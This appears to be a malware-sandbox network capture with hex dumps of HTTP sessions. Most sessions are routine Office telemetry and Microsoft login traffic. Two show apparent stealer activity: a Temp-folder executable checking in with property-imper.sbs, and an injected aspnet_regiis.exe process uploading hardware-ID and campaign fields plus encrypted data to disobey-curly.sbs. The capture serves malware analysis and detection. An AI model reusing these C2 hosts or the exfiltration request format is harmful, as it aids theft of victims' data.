2024-11-23 14:22:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:28 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 2145ee07-e01e-003c-0347-3cc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142228Z-15b8b599d88hr8sfhC1TEBbca4000000031g000000000rgx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:28 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:28 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:28 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 226702aa-001e-000b-5c83-3d15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142228Z-174c587ffdf4zw2thC1TEBu340000000034000000000angu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 14:22:28 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49819	104.21.33.116	443	1244	C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:29 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-23 14:22:29 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-23 14:22:30 UTC	1011	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0s7rd9ah593c5l51794q51080a; expires=Wed, 19-Mar-2025 08:09:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G4EGMrnSPGmtVsWVurdtTAUHroXVCJZkp8hwSIwU4B9YAgBBtgflBqrRPM2x2n6wqWjorqBJ3yetoTn9LwKx73Bg6OmzhGNUMuNZ%2FZXlUES4%2BmsioLOCkAGNqs3j0sczQmKAJkI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71cfcd1fb14271-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1555&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1795817&cwnd=252&unsent_bytes=0&cid=e2a1251e52a701a9&ts=703&x=0"
2024-11-23 14:22:30 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-23 14:22:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49814	20.190.147.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:29 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-23 14:22:29 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-23 14:22:30 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 23 Nov 2024 14:21:30 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_SN1 x-ms-request-id: 416576b0-dead-4c71-8f8c-ea229536df98 PPServer: PPV: 30 H: SN1PEPF0002FAA2 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 23 Nov 2024 14:22:29 GMT Connection: close Content-Length: 1918
2024-11-23 14:22:30 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:29 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:30 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: c9d02f83-e01e-0033-4d75-3b4695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142230Z-174c587ffdfb485jhC1TEBmc1s00000002w000000000b6yn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:30 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:30 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:30 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 6e54758c-301e-0020-321b-3d6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142230Z-178bfbc474bpscmfhC1NYCfc2c000000033g00000000evtz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:30 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:30 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:30 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 04c68412-701e-000d-5268-3b6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142230Z-178bfbc474bnwsh4hC1NYC2ubs00000004mg00000000cgnx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:30 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49822	172.67.223.140	443	6976	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:30 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=5MJP9N843I4XC8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 582213 Host: disobey-curly.sbs
2024-11-23 14:22:30 UTC	15331	OUT	Data Raw: 2d 2d 35 4d 4a 50 39 4e 38 34 33 49 34 58 43 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 34 31 46 43 39 41 42 34 34 30 30 41 42 39 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 35 4d 4a 50 39 4e 38 34 33 49 34 58 43 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 35 4d 4a 50 39 4e 38 34 33 49 34 58 43 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 6c 6f 6e 69 6b 69 72 0d 0a 2d 2d 35 4d 4a 50 39 4e Data Ascii: --5MJP9N843I4XC8Content-Disposition: form-data; name="hwid"641FC9AB4400AB98D7CBBD6DF28D3732--5MJP9N843I4XC8Content-Disposition: form-data; name="pid"1--5MJP9N843I4XC8Content-Disposition: form-data; name="lid"H8NgCl--lonikir--5MJP9N
2024-11-23 14:22:30 UTC	15331	OUT	Data Raw: 04 6f 23 d8 b3 c7 46 15 8f e2 a9 93 6d 4f 64 ba b6 0e 58 c1 b6 67 c9 73 a6 90 ed b2 d6 e0 95 95 f9 71 4b 37 db 5a 40 3f 17 51 2b 0f 84 7f 2e be a9 04 05 f9 3c 7c 32 44 84 18 81 f9 a5 97 3c b6 0e 2b 5c be cb 6c 35 bc 50 fd 74 f6 e7 62 c2 bb ee 57 d5 5d 17 d6 5e 0f 5b 79 fc bb b5 6f 6d 3f 38 d3 7e cf 2b 02 0d 87 a8 8a 8c b1 e9 61 77 c1 63 e3 1a 26 73 c1 5c 70 a3 31 fb c2 1a 00 a5 97 e5 fa 7a 7d eb bf fd da 33 f1 3a 0a d9 c9 d3 db 3f 8d f9 39 ee 82 65 a7 9f d7 2a bf 14 4d 61 24 2e a9 b5 61 c4 a3 15 ed 83 7c d6 34 c4 dc b3 ea f4 3a d4 26 b7 8a fe 2c c7 f0 81 cb 30 ac 73 14 63 b0 9e 14 5d af d1 ef e2 55 23 c9 a0 ec d1 b3 4b 82 02 0b 9b 1c d0 c1 7a b5 16 f9 dd 50 ce 31 34 24 d2 ac 58 f0 9e 8f ff b6 bc 4e e2 2e 17 46 3e 1e 29 fc 85 c2 1d 4a 3f cd 7f de de 77 f3 Data Ascii: o#FmOdXgsqK7Z@?Q+.<\|2D<+\l5PtbW]^[yom?8~+awc&s\p1z}3:?9e*Ma$.a\|4:&,0sc]U#KzP14$XN.F>)J?w
2024-11-23 14:22:30 UTC	15331	OUT	Data Raw: 3b 99 5f 9e d0 6e 7c bd e2 38 b7 aa dc d6 f0 c0 1b 51 fe 2a 88 4f c4 d7 d0 b1 95 df 44 7c f5 96 13 8e 48 68 35 b6 3e 60 d2 4b 74 72 94 61 0b f4 da 18 a4 9c 1f 0b d6 ca a4 eb 47 f9 45 86 e9 55 aa f5 d4 9c 36 77 11 30 ec fa 23 9b 6a c9 0b 36 de ec ea 0c bd ff fb 44 ad 9e 45 e7 63 5a df 01 2f fb 49 4e fc 51 75 7c 92 c8 39 23 39 f4 ab ab 49 f4 a4 4c 61 75 8b 30 85 5e 68 e6 52 64 44 d5 87 4f 47 4e d7 3b 20 4c 00 d9 c0 71 f0 9e 9f f0 4e c1 a9 e5 e1 f2 33 97 7a b5 f8 af f6 12 94 32 1f 07 bb 36 5a bd 04 1a 3d f2 f2 79 2f e7 91 e4 b3 c3 81 3d 5f ac ae f4 88 22 7d 6e 08 93 2a 31 2d e6 39 3a 7e db 81 c6 28 5a 99 8b 8b b8 2d 59 1a c9 7b b7 2a 60 4c d4 d3 38 26 89 7a 5d cb d9 72 8c 77 a1 3a 9a 12 67 7e 47 19 cc 1f 03 c5 2f 95 0c bb 5d 0c 05 87 a6 06 3e 7a ce 6a 92 7c Data Ascii: ;_n\|8QOD\|Hh5>`KtraGEU6w0#j6DEcZ/INQu\|9#9ILau0^hRdDOGN; LqN3z26Z=y/=_"}n1-9:~(Z-Y{*`L8&z]rw:g~G/]>zj\|
2024-11-23 14:22:30 UTC	15331	OUT	Data Raw: 3c b7 3b 28 9b 2b 4f 87 af cf 6d 95 0f 58 28 9f f6 5b 1f ea d7 8b 78 37 e4 14 e7 f7 f5 d5 b3 77 d5 73 48 8f de bb 33 39 fb ca dc 37 f8 6e c1 af 5d 5e 8e d2 f9 4f 3f 1e 33 d1 bf c8 5e c4 e5 ac 56 fa cd f3 f7 07 b7 f3 09 8a e7 8a 8c ba 44 3d 39 c5 f7 9e 3f 8c 3e 65 69 2c 8e e3 69 23 43 02 87 5e 84 8a 88 4d c4 99 ea 46 52 aa 22 fd fc f7 3a a6 69 8f 7e d3 3f 72 e6 dc 7a b9 1e ff e8 77 c2 c5 cd 9f 83 c3 b2 a9 2a 34 95 08 36 b4 db 3d 55 8b 46 c0 b0 1c 1a 32 cd 07 6a 06 45 64 51 45 cf f6 1c 3a b5 72 f7 a1 5a d8 75 74 00 60 a7 21 df 73 02 1c 5a dd b2 5e be 13 35 98 fd 3e f8 38 bc 76 40 f5 dc b6 d9 de d7 0b 4e ff ce 28 60 3d d0 3e 70 50 3d 21 43 1c 12 bf e6 a6 f9 c2 8b eb e3 c0 df d8 f2 3e 50 94 9d 99 a3 9f a4 92 62 16 fe 3c 88 f2 67 38 70 d8 79 df 3a 6b fe b9 e4 Data Ascii: <;(+OmX([x7wsH397n]^O?3^VD=9?>ei,i#C^MFR":i~?rzw*46=UF2jEdQE:rZut`!sZ^5>8v@N(`=>pP=!C>Pb<g8py:k
2024-11-23 14:22:30 UTC	15331	OUT	Data Raw: 05 73 4d c6 0f 51 4e 1f 74 3d 77 53 20 0f 4d 40 0f bd b5 d5 67 77 8b 61 22 27 f0 ae c1 0f f3 6c 01 01 92 d3 ab 8d da 8a 19 4f 8e 58 5a ed 52 7a 43 41 4d 4e 33 24 79 ef 8d db c2 2b f7 f4 4f 6e 43 bc fc 5c f7 10 6f 77 e6 ff da 90 b6 0a ef ff ab 13 4f 8f ef f6 05 15 73 b7 1c ff a8 e9 17 2f 5e 23 f8 be 15 96 2e 95 18 f0 79 66 32 73 84 1e 5c ff 84 c0 be 21 09 3e 18 e7 48 81 98 ef dc 26 2f 50 7f 89 11 20 48 70 85 56 01 47 12 35 59 6e 02 6c 48 0d e7 43 0a 87 65 34 cd cb c9 aa af 9c c4 12 b4 7d f8 7b e6 db 9f 92 54 84 57 eb 54 f5 30 36 19 d6 f8 46 3d 41 b6 2e d6 bd 67 bb a2 17 af 3d 6b ae 2c 5d e2 d3 6a 42 3c c8 09 1a db 7f 0e 96 b4 d8 96 ad a9 b0 a2 41 2f d8 4d 24 1e c9 96 02 bf 31 6b e8 e1 b2 77 57 9e 3f 25 25 b5 eb 8c 0b 1f 3a 35 6f 5d 44 66 21 2e e4 44 a9 25 Data Ascii: sMQNt=wS M@gwa"'lOXZRzCAMN3$y+OnC\owOs/^#.yf2s\!>H&/P HpVG5YnlHCe4}{TWT06F=A.g=k,]jB<A/M$1kwW?%%:5o]Df!.D%
2024-11-23 14:22:30 UTC	15331	OUT	Data Raw: 55 29 a5 4f 84 fd 19 27 be 3b e5 7c 40 0b c3 09 12 f4 68 e3 47 00 9d 82 a6 b1 c8 b4 34 14 ec 35 b9 66 be 93 04 69 5c 05 b9 fb 89 52 18 d0 c3 c5 85 44 0f 26 69 42 80 e5 21 0d d6 6d fe 01 2f be 77 df 4a b5 5d 98 b0 5d fc ef b2 8d f7 a6 77 3b ca f9 0c c8 c8 df 39 0a f6 31 f3 2f 53 16 08 17 ec 64 de 56 9f 44 49 45 41 33 5b f1 ad d9 4b ee b1 79 b6 58 ff ae 1d 51 74 78 4f e8 a4 d2 10 d4 a4 3e ae da fa 08 af fc 9c 03 b8 8c 9a 0f c0 04 f9 dd 63 0d 88 39 63 44 f8 d8 ce ff 8c 77 e3 e1 c1 91 7b 70 e0 ea 44 4a 12 d6 42 cb fe e3 10 e9 40 b0 7b 20 ec 8e 82 7e 83 7e 79 72 2c 50 3e a0 af a7 c5 00 18 f1 cd 31 89 a1 1a b5 b3 8f 3c 5a 76 2c 42 99 7e 12 6b d7 38 64 d3 6c 9a 77 10 68 3b 81 ba 67 99 ab 85 d1 4c 6f 3d 09 a1 e7 63 48 9e b7 ef 1c 20 26 04 43 00 9a 3a 82 e8 75 5a Data Ascii: U)O';\|@hG45fi\RD&iB!m/wJ]]w;91/SdVDIEA3[KyXQtxO>c9cDw{pDJB@{ ~~yr,P>1<Zv,B~k8dlwh;gLo=cH &C:uZ
2024-11-23 14:22:30 UTC	15331	OUT	Data Raw: b2 fe d5 e2 d0 5d a2 27 01 dd e1 e9 79 19 92 4a c6 f8 ff f2 a4 0e c1 a7 ca 50 de 7c c4 d6 4e 01 47 f9 ea 93 82 17 4a d2 29 4a fc 5c 0d a7 73 0d 09 4d bf 83 c2 60 77 b6 47 4c 36 6d 79 2a 4a 5f db e2 bc ae d0 9f bb 51 6e 59 cd 75 67 1f 75 fe 4e 77 e2 c2 ac 95 2e 56 d0 48 67 fd 39 19 60 3d 6b c4 78 81 a3 38 e5 df 88 b6 cb 4d 27 29 1a 2c 7a 3b 3a 23 d4 94 bf 56 53 be 56 6b bb b5 81 7a 5d f0 66 42 d8 9a 2e 4d 76 f0 a3 0a 45 0b 6a 4c a9 fa 56 be 73 f3 8a ba ad 73 83 6c 0b e7 d4 9b 9f 03 42 3c 37 5e a6 84 47 72 81 35 1d 67 a1 03 e0 9d 10 b8 b7 19 e1 8d ff ef 04 e6 18 a9 85 38 5a a1 a7 28 f5 f3 91 ad cb fa 98 da 38 23 af c7 60 e1 97 b0 a3 34 d5 62 44 ed e6 97 5e 65 67 79 1a c1 2a c8 aa 4e b3 be 67 b1 c7 cb 35 a5 b6 da 62 5f 3c 9d cf 50 21 06 38 ad 9a 0f 